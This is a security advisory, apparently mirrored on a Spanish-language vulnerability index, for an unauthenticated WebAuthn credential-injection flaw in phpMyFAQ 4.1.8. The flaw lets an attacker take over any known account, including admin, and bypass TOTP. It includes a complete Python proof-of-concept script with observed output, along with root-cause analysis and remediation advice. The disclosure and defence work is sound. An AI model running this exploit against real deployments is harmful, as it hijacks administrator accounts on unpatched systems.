GHSA-G6CQ-6RQG-6C9P
Unauthenticated WebAuthn credential injection into any known account (challenge never validated, `fmt=none` accepted) → account takeover, bypasses password and TOTP
Texto original en inglés · Ver en español
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-G6CQ-6RQG-6C9P divulgada · CVSS 9.8 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
phpMyFAQ's WebAuthn registration endpoints perform an account-level security operation — attaching a login credential to a user account — without requiring authentication of the account owner and without validating the server-issued ceremony challenge.
An unauthenticated attacker can:
- Obtain the required CSRF token anonymously from the public `/index.php?action=register` page,
- Stage *any* existing username (e.g. `admin`) into their own session via `POST /api/webauthn/prepare`,
- Submit a hand-crafted CBOR attestation (`fmt=none`, no signature needed) to `POST /api/webauthn/register` — the new public key is persisted to the victim's account,
- Log in as that victim with a genuine assertion from the attacker's key via `/api/webauthn/prepare-login` + `/api/webauthn/login`.
The injected passkey survives password changes, and the WebAuthn login path never consults `twofactor_enabled`, so it also defeats TOTP-based two-factor authentication.
Verified end-to-end against phpMyFAQ 4.1.8 (tag `4.1.8`, commit `33fae25eb`) and against the current development branch (`main` @ `f4e006fd9`). The file header dates the WebAuthn feature to 2024-09-11; earlier releases carrying the same code are likely affected (not individually verified).
Affected component & versions
- Component: `phpmyfaq/src/phpMyFAQ/Controller/Frontend/WebAuthnController.php` and `phpmyfaq/src/phpMyFAQ/Auth/AuthWebAuthn.php`
- Verified affected: 4.1.8 (current stable release of the security-supported 4.1.x line) and current `main` head (`f4e006fd9`)
- Feature introduced: 2024-09-11 (per `@since` header); plausible-unverified for earlier versions shipping the feature
Impact
An unauthenticated remote attacker can take over any account whose username they know, including super-administrator accounts, on deployments where WebAuthn support is enabled:
- Full access to the victim's session/privileges (admin panel, all FAQ/user/configuration data),
- Bypass of TOTP two-factor for the victimized account (the WebAuthn login path grants the primary session directly),
- Persistence: the malicious credential remains bound to the account until keys are explicitly reset.
Realistic worst case: silent full compromise of a phpMyFAQ instance's administrator account.
Preconditions
- `security.enableWebAuthnSupport = true` (non-default admin opt-in). Note `security.enableRegistration` defaults to `true` and gates only the user-creation branch of `prepare()`.
- Attacker knows a target username (usernames are commonly disclosed on FAQ content; `admin` is conventional).
- Network reachability of the frontend.
No user interaction, no privileges, no browser required (fully scriptable with plain HTTP client + ECDSA P-256).
Minimal reproduction
Environment: rootless Podman, `php:8.4-apache` serving source at tag `4.1.8` (`33fae25eb`) + MariaDB 11, installed via the standard setup wizard, `security.enableWebAuthnSupport=true`.
Full scripted PoC (Python 3, `requests`/`cbor2`/`cryptography`):
#!/usr/bin/env python3
import base64, hashlib, json, os, re, sys
import cbor2, requests
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
BASE = "http://127.0.0.1:8080"
APPID = "127.0.0.1" # Utils::getHostFromUrl(main.defaultUrl) — bare host, no port
VICTIM = "admin"
s = requests.Session()
# 1) anonymous session + 'webauthn-prepare' CSRF token from the PUBLIC register page
r = s.get(f"{BASE}/?action=register")
token_prepare = re.search(r'id="pmf-csrf-token-webauthn"\s+value="([^"]+)"', r.text).group(1)
# 2) stage the VICTIM in our anonymous session
r = s.post(f"{BASE}/api/webauthn/prepare", json={"username": VICTIM, "csrfToken": token_prepare})
prep = r.json()
token_register = prep["csrfToken"]
print("staged:", prep["challenge"]["publicKey"]["user"]) # -> victim id bytes
# 3) forge attestation: fmt=none (no signature), challenge value irrelevant (never checked)
priv = ec.generate_private_key(ec.SECP256R1())
x, y = priv.public_key().public_numbers().x.to_bytes(32,"big"), \
priv.public_key().public_numbers().y.to_bytes(32,"big")
cose_key = cbor2.dumps({1:2, 3:-7, -1:1, -2:x, -3:y})
cred_id = os.urandom(32)
auth_data = hashlib.sha256(APPID.encode()).digest() + bytes([0x45]) + (0).to_bytes(4,"big") \
+ b"\x00"*16 + len(cred_id).to_bytes(2,"big") + cred_id + cose_key
att_obj = cbor2.dumps({"fmt":"none","attStmt":{},"authData":auth_data})
r = s.post(f"{BASE}/api/webauthn/register", json={"csrfToken": token_register, "register": json.dumps({
"id": list(cred_id), "rawId": list(cred_id), "type": "public-key",
"response": {"attestationObject": list(att_obj), "clientDataJSON": []}})})
assert r.status_code == 200, r.text # key now persisted to the VICTIM's faquser row
# 4) log in as the victim with a genuine assertion from the injected key
r = s.post(f"{BASE}/api/webauthn/prepare-login", json={"username": VICTIM})
chal = base64.urlsafe_b64encode(bytes(r.json()["challenge"])).rstrip(b"=").decode()
client_data = json.dumps({"type":"webauthn.get","challenge":chal,
"origin": f"http://{BASE.split('//')[1]}"}).encode()
rp_h = hashlib.sha256(APPID.encode()).digest()
ad = rp_h + bytes([0x05]) + (1).to_bytes(4,"big")
sig = priv.sign(rp_h + bytes([0x05]) + (1).to_bytes(4,"big") +
hashlib.sha256(client_data).digest(), ec.ECDSA(hashes.SHA256()))
r = s.post(f"{BASE}/api/webauthn/login", json={"username": VICTIM, "login": {
"id": list(cred_id), "rawId": list(cred_id), "type": "public-key",
"response": {"clientData": json.loads(client_data),
"clientDataJSONarray": list(client_data),
"authenticatorData": list(ad),
"signature": list(sig)}}}})
assert r.json()["success"] == "ok", r.text # authenticated as VICTIM
# proof: attacker session now serves the admin panel
r = s.get(f"{BASE}/admin/", allow_redirects=False)
print("GET /admin/ ->", r.status_code) # 200 = admin sessionObserved output against the local build:
[1] register.php 200; prepare-token = fb0a13e7534c...
[2] prepare OK — staged user 'admin' (id bytes: [49]), register-token issued to ANONYMOUS session
[3] register -> HTTP 200: {"success":"ok","message":"The registration was successful. You can now log in with your Passkey."}
[4] webauthn/login -> HTTP 200: {"success":"ok","redirect":"http:\/\/127.0.0.1\/"}
[5] GET /admin/ after injection -> HTTP 200 (AUTHENTICATED ADMIN SESSION)
VERDICT: CONFIRMEDExpected vs. actual: expected (correct behavior) — `register` rejects a credential ceremony not initiated by an authenticated owner of the target account and/or rejects attestations whose challenge does not match the issued one; actual — the credential is silently attached to `admin` and a subsequent assertion logs the attacker in as `admin`.
Root-cause analysis
Three independent defects compose:
- No authentication on a credential-writing operation. `WebAuthnController` implements `SkipsAuthenticationCheck`; `prepare()` stages an attacker-chosen username (`WebAuthnUser::setName($username)` ← `$data->username`) into the session, and `register()` persists keys for exactly that staged identity via `$this->user->getUserByLogin($webAuthnUser->getName())` + `setWebAuthnKeys()` (WebAuthnController.php:130–139). Nothing ties the operation to an authenticated owner of that account. The CSRF tokens involved are session-bound values minted anonymously by public pages (`Token::getTokenString('webauthn-prepare')` in `register.php:56`) — they prove session possession, not authorization.
- Issued challenge is never validated at registration. `prepareChallengeForRegistration()` generates a random challenge and returns it to the client, but `AuthWebAuthn::register()` (lines 152–257) never compares the attestation's `clientDataJSON.challenge` against anything — contrast `authenticate()` (lines 330–340), which does this correctly for login. The ceremony is therefore replayable/fabricable and not bound to the initiating session.
- `fmt=none` accepted with no attestation requirement. Combined with (1)+(2), a plain HTTP client can fabricate `attestationObject` bytes (rpIdHash = SHA-256 of the deployment host name, flags `0x45`, arbitrary COSE P-256 key). No hardware or browser is involved.
Amplifier: `WebAuthnController::login()` grants the primary session (`setLoggedIn(true)` … `saveToSession()`) without consulting `twofactor_enabled`, so a registered passkey supersedes TOTP entirely.
Suggested root-cause remediation
- Require an authenticated session that owns the target account for `prepare`/`register` (remove these actions from the `SkipsAuthenticationCheck` fast path or add an explicit `isLoggedIn()` + ownership gate). Anonymous flows belong only to `prepare-login`/`login`.
- Validate the stored challenge at registration — compare attestation `clientDataJSON.challenge` with the value issued by `prepareChallengeForRegistration()` (session-scoped), and burn it after use, mirroring `authenticate():330–346`.
- Consider rejecting `fmt=none` for registering credentials on *existing* accounts (or require user verification flags + attestation), so fabricated ceremonies fail closed.
- Consult `twofactor_enabled` before granting a primary session through `WebAuthnController::login()` if passkeys are intended as a second factor rather than passwordless primary auth.
A fails-before/passes-after regression test is straightforwardly derived from step 2–3 above (assert `register` returns 401/409 for an unauthenticated session staging a foreign username).
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistphpmyfaq/phpmyfaq |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-g6cq-6rqg-6c9pLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
